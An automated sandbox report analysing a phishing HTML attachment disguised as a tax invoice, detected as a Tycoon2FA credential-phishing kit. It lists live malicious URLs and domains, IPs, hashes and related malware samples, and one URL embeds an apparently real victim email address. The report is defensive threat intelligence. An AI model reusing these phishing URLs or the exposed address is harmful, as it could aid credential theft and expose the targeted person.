https://2y.osejonco.ru/ab0fLnPpqMj9Kef24	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/GDSherpa-regular.woff	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/mn1qTi42BOQqHIWIbTjzsdQVcklH8C6r9gf6A6R90144	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/ij36edXDIVEZ1IkFpjlRArGXnqtVKT3mgw89eXKrMQwV4y50SCzXCSTtuUab230	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/347WeLicXabmKi8920	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/favicon.ico	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/GDSherpa-bold.woff	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/wxtr96E0UQXYubQXEopBx2VlaFgro4g97HGu12122	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/hko7ycdtxaFw8rtrjRuWyBv2CM6bIs0vVjXYlxq0qb92im	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/uv1sT1CTjzraD3Hdexj7YzMEz5uSMAJ0QDNwA8KcfGmnpiyBZ2tEqbSAdyBffIfzef260	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/GDSherpa-vf2.woff2	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/klwx5cFAcAqfdQp3WkgEUThdmWiDzDn2GiJCqq56jRSXRX1N2xd7gfxEFlIp3lwgSsJmwx220	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/op3KLTBhTbgEdCmZ7JNfQl1y5GU9xYTcRTmbZnkfmeghZFCJqrbSs4oznfvPk9nef200	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/ijL2Jyg9U2Cta71dIExzqwsr3Hbd0phobxjMcdIdbCejuCF17A6XlDgWoruHXGZM78170	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/qr3KwGz8WpWW6BGLqjBcrkzD6fvvfef0XuWdfxyQqg0w67140	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/yrYUoo74f9fWrLBIcyK5uxWwgdKJhOGH5YbaKKrgLiygb	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/ghAgM8pQbgeY39sLvNM3QdVigIfxyUyJ4T3dbGJ3vdGJjth12210	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/opgiTdFktHPmjU81RG6ZQtrrPTiXYgG1ANhYfqGSoYrDXCPuvVWhHPaNO5NSWrUNwkVj3bukcd240	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/GDSherpa-bold.woff2	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/34XY6uqR8M2Zn7bR2adFTax5rnMwghoXvnLC2fek67103	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/GDSherpa-vf.woff2	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/zcPXmirUKpDnF5fS6FWzlptiNfDDIwgyTrsWwWW1MfzVELBijy	100%	Avira URL Cloud	malware

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
developers.cloudflare.com	104.16.2.189	true	false	high
github.com	140.82.121.3	true	false	high
2y.osejonco.ru	104.21.84.165	true	false	high
7iipqbgvz5tozdgx6cu2kamnti8r4aq60rn8w7nxi2ivkj9vvcz1rfzt.erisxw.es	104.21.64.1	true	false	high
code.jquery.com	151.101.2.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
get.geojs.io	172.67.70.233	true	false	high
www.google.com	142.250.185.132	true	false	high
9k1f.szsnqp.ru	188.114.97.3	true	false	high
d19d360lklgih4.cloudfront.net	13.33.187.68	true	false	high
objects.githubusercontent.com	185.199.108.133	true	false	high
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://9k1f.szsnqp.ru/chai!aujobu	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://a.nel.cloudflare.com/report/v4?s=3njv9FVtpQvoo%2FWzl3v9RR8cUpXdb4KOo4bgr1j3isJ7RS3PW0dm071I5X1dj%2BSF7RGg%2BLItlM66G49BiVsFMkjm1DdRpO4vZQrgsnjMti2ZuUvyIiQryb9pol0yMTCumRpt	false		high
https://2y.osejonco.ru/r0lfuHO4/$admin.invoices@bluewatersps.com.au	true		unknown
https://2y.osejonco.ru/ab0fLnPpqMj9Kef24	false	Avira URL Cloud: malware	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://2y.osejonco.ru/GDSherpa-regular.woff2	false	Avira URL Cloud: malware	unknown
https://2y.osejonco.ru/GDSherpa-regular.woff	false	Avira URL Cloud: malware	unknown
https://2y.osejonco.ru/wxbNKRcHVCXKWWRT7M8NqnmjopxHCiJhJtlMUAvB5CdgkudYxaejab180	false	Avira URL Cloud: malware	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://2y.osejonco.ru/mn1qTi42BOQqHIWIbTjzsdQVcklH8C6r9gf6A6R90144	false	Avira URL Cloud: malware	unknown
https://2y.osejonco.ru/ij36edXDIVEZ1IkFpjlRArGXnqtVKT3mgw89eXKrMQwV4y50SCzXCSTtuUab230	false	Avira URL Cloud: malware	unknown
https://2y.osejonco.ru/347WeLicXabmKi8920	false	Avira URL Cloud: malware	unknown
https://2y.osejonco.ru/GDSherpa-bold.woff	false	Avira URL Cloud: malware	unknown
https://2y.osejonco.ru/favicon.ico	false	Avira URL Cloud: malware	unknown
https://2y.osejonco.ru/wxtr96E0UQXYubQXEopBx2VlaFgro4g97HGu12122	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://2y.osejonco.ru/uv1sT1CTjzraD3Hdexj7YzMEz5uSMAJ0QDNwA8KcfGmnpiyBZ2tEqbSAdyBffIfzef260	false	Avira URL Cloud: malware	unknown
https://a.nel.cloudflare.com/report/v4?s=HFIRQR3c7SnaiVnISxnsMMwNE98%2FDykvK3zhXv7mbbcRcalyJ01YnsYCRpYuzZkyQVKMN%2FaN3XUu3EWMc%2BRgXdYV52oxkLfF%2BQeM%2FWm0qMlKgxUeOX4kyWjlSta2gGrqNTDR	false		high
https://a.nel.cloudflare.com/report/v4?s=sE1qY0wPlVXzMT%2F5CY7KZIAs9Z3cU2lS6XH9cgFkrLQxipGmBw7Gae%2Foy%2BWijWRgW2xScTyl3ThPlEFb4GRm%2FSPBo%2FZACd7KipOuNq4YBP1MbTE6637bp9cLo9dcSCk4ZGu%2B	false		high
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://2y.osejonco.ru/hko7ycdtxaFw8rtrjRuWyBv2CM6bIs0vVjXYlxq0qb92im	false	Avira URL Cloud: malware	unknown
https://2y.osejonco.ru/GDSherpa-vf2.woff2	false	Avira URL Cloud: malware	unknown
https://2y.osejonco.ru/klwx5cFAcAqfdQp3WkgEUThdmWiDzDn2GiJCqq56jRSXRX1N2xd7gfxEFlIp3lwgSsJmwx220	false	Avira URL Cloud: malware	unknown
https://2y.osejonco.ru/op3KLTBhTbgEdCmZ7JNfQl1y5GU9xYTcRTmbZnkfmeghZFCJqrbSs4oznfvPk9nef200	false	Avira URL Cloud: malware	unknown
https://2y.osejonco.ru/ijL2Jyg9U2Cta71dIExzqwsr3Hbd0phobxjMcdIdbCejuCF17A6XlDgWoruHXGZM78170	false	Avira URL Cloud: malware	unknown
https://developers.cloudflare.com/favicon.png	false		high
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://2y.osejonco.ru/qr3KwGz8WpWW6BGLqjBcrkzD6fvvfef0XuWdfxyQqg0w67140	false	Avira URL Cloud: malware	unknown
https://2y.osejonco.ru/yrYUoo74f9fWrLBIcyK5uxWwgdKJhOGH5YbaKKrgLiygb	false	Avira URL Cloud: malware	unknown
https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI	true		unknown
https://2y.osejonco.ru/ghAgM8pQbgeY39sLvNM3QdVigIfxyUyJ4T3dbGJ3vdGJjth12210	false	Avira URL Cloud: malware	unknown
https://2y.osejonco.ru/GDSherpa-bold.woff2	false	Avira URL Cloud: malware	unknown
https://2y.osejonco.ru/opgiTdFktHPmjU81RG6ZQtrrPTiXYgG1ANhYfqGSoYrDXCPuvVWhHPaNO5NSWrUNwkVj3bukcd240	false	Avira URL Cloud: malware	unknown
https://get.geojs.io/v1/ip/geo.json	false		high
https://2y.osejonco.ru/GDSherpa-vf.woff2	false	Avira URL Cloud: malware	unknown
https://2y.osejonco.ru/34XY6uqR8M2Zn7bR2adFTax5rnMwghoXvnLC2fek67103	false	Avira URL Cloud: malware	unknown
https://2y.osejonco.ru/zcPXmirUKpDnF5fS6FWzlptiNfDDIwgyTrsWwWW1MfzVELBijy	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com	chromecache_72.1.dr	false		high
https://github.com/fent)	chromecache_97.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.48.1	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.195.61	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.26.1.100	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.64.1	7iipqbgvz5tozdgx6cu2kamnti8r4aq60rn8w7nxi2ivkj9vvcz1rfzt.erisxw.es	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.16.2.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
13.33.187.68	d19d360lklgih4.cloudfront.net	United States	16509	AMAZON-02US	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
140.82.121.3	github.com	United States	36459	GITHUBUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
188.114.97.3	9k1f.szsnqp.ru	European Union	13335	CLOUDFLARENETUS	false
104.21.84.165	2y.osejonco.ru	United States	13335	CLOUDFLARENETUS	false
13.33.187.96	unknown	United States	16509	AMAZON-02US	false
172.67.70.233	get.geojs.io	United States	13335	CLOUDFLARENETUS	false
185.199.108.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1640115
Start date and time:	2025-03-17 00:36:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	41QUE01 - TAX INVOICE - 7274916 from SFG (Brisbane).html
Detection:	MAL
Classification:	mal100.phis.evad.winHTML@20/78@40/18
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.238, 142.250.185.195, 216.58.206.78, 108.177.15.84, 142.250.185.174, 216.58.206.46, 172.217.18.14, 142.250.74.206, 172.217.16.142, 142.250.184.202, 142.250.185.202, 142.250.186.106, 172.217.23.106, 142.250.186.74, 142.250.185.234, 142.250.186.138, 142.250.186.42, 142.250.185.170, 142.250.186.170, 172.217.18.10, 142.250.185.74, 142.250.184.234, 216.58.206.74, 142.250.185.106, 142.250.185.138, 142.250.185.142, 142.250.184.206, 216.58.212.142, 142.250.186.142, 142.250.185.163, 142.250.185.238, 142.250.185.131, 142.250.185.78, 52.149.20.212, 23.60.203.209, 20.190.159.128, 184.86.251.27
Excluded domains from analysis (whitelisted): www.bing.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, login.live.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.48.1	345623.bat	Get hash	malicious	DBatLoader, FormBook	Browse	www.shlomi.app/9rzh/
	ySUB97Jq80.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.shlomi.app/9rzh/
	hQaXUS5gt0.exe	Get hash	malicious	FormBook	Browse	www.newanthoperso.shop/3nis/
	6nA8ZygZLP.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/2dxw/
	UhuGtHUgHf.exe	Get hash	malicious	FormBook	Browse	www.enoughmoney.online/z9gb/
	Bill_of_Lading_20250307_pdf.bat.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php
	Stormwater Works Drawings Spec.js	Get hash	malicious	FormBook	Browse	www.lucynoel6465.shop/jgkl/
	Shipment Delivery No DE0093002-PDF.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/tking3/five/fre.php
	Remittance_CT022024.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/fix/five/fre.php
	http://microsoft-sharepoint4543464633.pages.dev/index-2jc93/	Get hash	malicious	HTMLPhisher	Browse	microsoft-sharepoint4543464633.pages.dev/index-2jc93/
172.67.195.61	41QUE01 - TAX INVOICE - 7274916 from SFG (Brisbane).html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
172.67.195.61	https://hello-world-billowing-firefly-b6b7.janeplummer2020.workers.dev/	Get hash	malicious	HTMLPhisher	Browse
104.18.94.41	https://apply.atu.ie/_entity/sharepointdocumentlocation/a10f35db-a302-f011-bae2-7c1e524f2423/903e00e6-7542-ee11-bdf3-6045bd8c56d2?file=CONFIDENTIALDoc_Au89994.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://ouo.io/wqM4Oz	Get hash	malicious	Unknown	Browse
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher	Browse
	wtf.svg	Get hash	malicious	Phisher	Browse
	https://pub-e78c2744dccf4257afcf7fafe0f41927.r2.dev/cmail.html	Get hash	malicious	HTMLPhisher	Browse
	Sweepingcorp00990__098.html	Get hash	malicious	HTMLPhisher	Browse
	https://com.emaill-ttbaytel.workers.dev/	Get hash	malicious	HTMLPhisher	Browse
	Subscription_Agreement_2025.svg	Get hash	malicious	Phisher	Browse
	https://dns.toytviyy.es/NeCp/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Play___New___VM___01min 10sec_____;-9415036076e8bac121c0e98c86740024257f1403349096ae54.htm	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
104.26.1.100	install.exe	Get hash	malicious	Unknown	Browse	get.geojs.io/v1/ip/geo.json

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
2y.osejonco.ru	41QUE01 - TAX INVOICE - 7274916 from SFG (Brisbane).html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.195.61
code.jquery.com	https://apply.atu.ie/_entity/sharepointdocumentlocation/a10f35db-a302-f011-bae2-7c1e524f2423/903e00e6-7542-ee11-bdf3-6045bd8c56d2?file=CONFIDENTIALDoc_Au89994.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	AWB.Shipment.Document(16 Mar 2025).pdf.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://sreqmcoommnunlty.com/pikus/kils/nuks	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://sreqmcoommnunlty.com/bysre/tytik/pols	Get hash	malicious	Unknown	Browse	151.101.66.137
	http://case-id-1000228256743.counselschambers.co.uk/	Get hash	malicious	Unknown	Browse	151.101.130.137
	http://case-id-1000228254028.counselschambers.co.uk/	Get hash	malicious	Unknown	Browse	151.101.66.137
	http://case-id-1000228256475.counselschambers.co.uk/	Get hash	malicious	Unknown	Browse	151.101.130.137
	http://case-id-1000228254902.counselschambers.co.uk/	Get hash	malicious	Unknown	Browse	151.101.130.137
	http://case-id-1000228251305.counselschambers.co.uk/	Get hash	malicious	Unknown	Browse	151.101.66.137
	http://case-id-1000228270262.counselschambers.co.uk/	Get hash	malicious	Unknown	Browse	151.101.66.137
github.com	https://apply.atu.ie/_entity/sharepointdocumentlocation/a10f35db-a302-f011-bae2-7c1e524f2423/903e00e6-7542-ee11-bdf3-6045bd8c56d2?file=CONFIDENTIALDoc_Au89994.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4
	Flash Player Download Manager.exe	Get hash	malicious	Babadeda, Chaos, Sality	Browse	140.82.121.3
	Planck Scale Lantern.exe	Get hash	malicious	PureLog Stealer, XWorm, zgRAT	Browse	140.82.121.3
	uv-installer.ps1	Get hash	malicious	Unknown	Browse	140.82.121.3
	pykak.ps1	Get hash	malicious	Pyobfuscate	Browse	140.82.121.9
	r.ps1	Get hash	malicious	XWorm	Browse	140.82.121.3
	rta.ps1	Get hash	malicious	XWorm	Browse	140.82.121.3
	rnk.ps1	Get hash	malicious	XWorm	Browse	140.82.121.4
	pydata.ps1	Get hash	malicious	Unknown	Browse	140.82.121.4
	ImageG.exe	Get hash	malicious	NovaSentinel	Browse	140.82.113.3
developers.cloudflare.com	http://t.go.rac.co.uk/r/?id=h1020a75,d7623c,1ac8b&p1=r%EF%BB%BF%EF%BB%BFe%EF%BB%BF%EF%BB%BFv%EF%BB%BF%EF%BB%BFi%EF%BB%BF%EF%BB%BFe%EF%BB%BF%EF%BB%BFw%EF%BB%BF%EF%BB%BFs%EF%BB%BF%EF%BB%BFt%EF%BB%BF%EF%BB%BFi%EF%BB%BF%EF%BB%BFp%EF%BB%BF%EF%BB%BFs%EF%BB%BF%EF%BB%BFa%EF%BB%BF%EF%BB%BFn%EF%BB%BF%EF%BB%BFd%EF%BB%BF%EF%BB%BFo%EF%BB%BF%EF%BB%BFf%EF%BB%BF%EF%BB%BFf%EF%BB%BF%EF%BB%BFe%EF%BB%BF%EF%BB%BFr%EF%BB%BF%EF%BB%BFs.com/sys/html/SNRgusxqYwmKT0SXMypB0/aW52ZXN0bWVudHNAZmlyc3RvbnRhcmlvLmNvbQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	https://dns.toytviyy.es/NeCp/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	Play___New___VM___01min 10sec_____;-9415036076e8bac121c0e98c86740024257f1403349096ae54.htm	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.3.189
	https://sp-track.info.socialmaud.digital/api/v1/track/click/355/30046/17/default/6b7d5c97-8b19-4c41-b355-64ecd84af44a?redirecturl=https://gamma.app/docs/POM-Technologies-Proposal-1tjhhormn8i5mpb	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.4.189
	41QUE01 - TAX INVOICE - 7274916 from SFG (Brisbane).html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	https://t.travel.hiltongrandvacations.com/r/?id=h178a3ad8,189f53d6,13d9fb3c&p1=xj8ae4rm.lindylosidew.ru/usGt/*bG9uZy5uZ3V5ZW5AY3Jlc3RsaW5laG90ZWxzLmNvbQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.4.189
	https://app.storylane.io/share/3aoqhstpheml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://encryption-marinha.jkndfuzv.ru/PtM2i/$nadia.sofia.rijo@marinha.pt	Get hash	malicious	Unknown	Browse	104.16.2.189
	VM Orger Acknowledged.zip	Get hash	malicious	Unknown	Browse	104.16.4.189
	https://newsletter-editor.poweredbyintegra.dk/?NewsLetterTracker=true&bio=holstebrony&newsletter_ID=1&Text=Eget%20billede%20(ingen%20mellemrum)&Code=106&utcmabite=f9d0de3f-59af-46e8-b932-e8ab5db62f67&biocode=holstebrony&RedirectUrl=moviepazes.com/gredso/80c1f3626fe2dec57456150d34de5b50/ZGF2aWQuc2VkbGlja0BvbmVhdGxhcy5jb20=	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.32.1
	https://apply.atu.ie/_entity/sharepointdocumentlocation/a10f35db-a302-f011-bae2-7c1e524f2423/903e00e6-7542-ee11-bdf3-6045bd8c56d2?file=CONFIDENTIALDoc_Au89994.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	188.114.96.3
	jbJFtxTmyS.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.72.57
	iCgb4kAWFh.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	SOA OF FEB 2025 PT.BINEX.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	https://ckonti.com/2wJfX6	Get hash	malicious	Unknown	Browse	104.21.64.1
	calubveim.exe	Get hash	malicious	Unknown	Browse	104.26.2.158
	calubveim.exe	Get hash	malicious	Unknown	Browse	104.26.2.158
	SfF8tFQ11f.exe	Get hash	malicious	Unknown	Browse	104.21.112.1
CLOUDFLARENETUS	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.32.1
	https://apply.atu.ie/_entity/sharepointdocumentlocation/a10f35db-a302-f011-bae2-7c1e524f2423/903e00e6-7542-ee11-bdf3-6045bd8c56d2?file=CONFIDENTIALDoc_Au89994.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	188.114.96.3
	jbJFtxTmyS.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.72.57
	iCgb4kAWFh.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	SOA OF FEB 2025 PT.BINEX.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	https://ckonti.com/2wJfX6	Get hash	malicious	Unknown	Browse	104.21.64.1
	calubveim.exe	Get hash	malicious	Unknown	Browse	104.26.2.158
	calubveim.exe	Get hash	malicious	Unknown	Browse	104.26.2.158
	SfF8tFQ11f.exe	Get hash	malicious	Unknown	Browse	104.21.112.1
CLOUDFLARENETUS	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.32.1
	https://apply.atu.ie/_entity/sharepointdocumentlocation/a10f35db-a302-f011-bae2-7c1e524f2423/903e00e6-7542-ee11-bdf3-6045bd8c56d2?file=CONFIDENTIALDoc_Au89994.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	188.114.96.3
	jbJFtxTmyS.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.72.57
	iCgb4kAWFh.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	SOA OF FEB 2025 PT.BINEX.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	https://ckonti.com/2wJfX6	Get hash	malicious	Unknown	Browse	104.21.64.1
	calubveim.exe	Get hash	malicious	Unknown	Browse	104.26.2.158
	calubveim.exe	Get hash	malicious	Unknown	Browse	104.26.2.158
	SfF8tFQ11f.exe	Get hash	malicious	Unknown	Browse	104.21.112.1
CLOUDFLARENETUS	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.32.1
	https://apply.atu.ie/_entity/sharepointdocumentlocation/a10f35db-a302-f011-bae2-7c1e524f2423/903e00e6-7542-ee11-bdf3-6045bd8c56d2?file=CONFIDENTIALDoc_Au89994.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	188.114.96.3
	jbJFtxTmyS.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.72.57
	iCgb4kAWFh.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	SOA OF FEB 2025 PT.BINEX.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	https://ckonti.com/2wJfX6	Get hash	malicious	Unknown	Browse	104.21.64.1
	calubveim.exe	Get hash	malicious	Unknown	Browse	104.26.2.158
	calubveim.exe	Get hash	malicious	Unknown	Browse	104.26.2.158
	SfF8tFQ11f.exe	Get hash	malicious	Unknown	Browse	104.21.112.1
CLOUDFLARENETUS	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.32.1
	https://apply.atu.ie/_entity/sharepointdocumentlocation/a10f35db-a302-f011-bae2-7c1e524f2423/903e00e6-7542-ee11-bdf3-6045bd8c56d2?file=CONFIDENTIALDoc_Au89994.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	188.114.96.3
	jbJFtxTmyS.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.72.57
	iCgb4kAWFh.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	SOA OF FEB 2025 PT.BINEX.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	https://ckonti.com/2wJfX6	Get hash	malicious	Unknown	Browse	104.21.64.1
	calubveim.exe	Get hash	malicious	Unknown	Browse	104.26.2.158
	calubveim.exe	Get hash	malicious	Unknown	Browse	104.26.2.158
	SfF8tFQ11f.exe	Get hash	malicious	Unknown	Browse	104.21.112.1

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26765), with no line terminators
Category:	downloaded
Size (bytes):	26765
Entropy (8bit):	5.114987586674101
Encrypted:	false
SSDEEP:	768:wC8nBSz2omXX44PL5K9kdY8xbXoEYW+8SX:whnBSz2omXo4PL5K9kdY8xb+Ww
MD5:	1A862A89D5633FAC83D763886726740D
SHA1:	E5CE3AA454C992A13FD406A9647D7AFBF831051F
SHA-256:	5C22FD904EDB792331A7307DDF4A790E0D1318924F6D8E7362FA6B55D5AB6FBB
SHA-512:	3BFAB627DC0EBFAE1176098C870B4D2747518E7EA91646303276191A4A846D47B2E80BB1EE2FA67271130ECCBC8B1152778C99917FC6C63EA45A184BD673BF0D
Malicious:	false
Reputation:	low
URL:	https://2y.osejonco.ru/347WeLicXabmKi8920
Preview:	#authcalldesc,#sections,.text-m{font-size:.9375rem},input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #pageName,#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400},.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",Latha,Leelawadee,"Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}*{margin:0}.websitesections{height:100%;width:100vw;position:relative}#sections_doc,#sections_go

File type:	HTML document, ASCII text, with very long lines (62993), with CRLF line terminators
Entropy (8bit):	5.1057646525015805
TrID:	HyperText Markup Language (12001/1) 29.26% HyperText Markup Language (12001/1) 29.26% HyperText Markup Language (11001/1) 26.83% HyperText Markup Language (6006/1) 14.65%
File name:	41QUE01 - TAX INVOICE - 7274916 from SFG (Brisbane).html
File size:	72'634 bytes
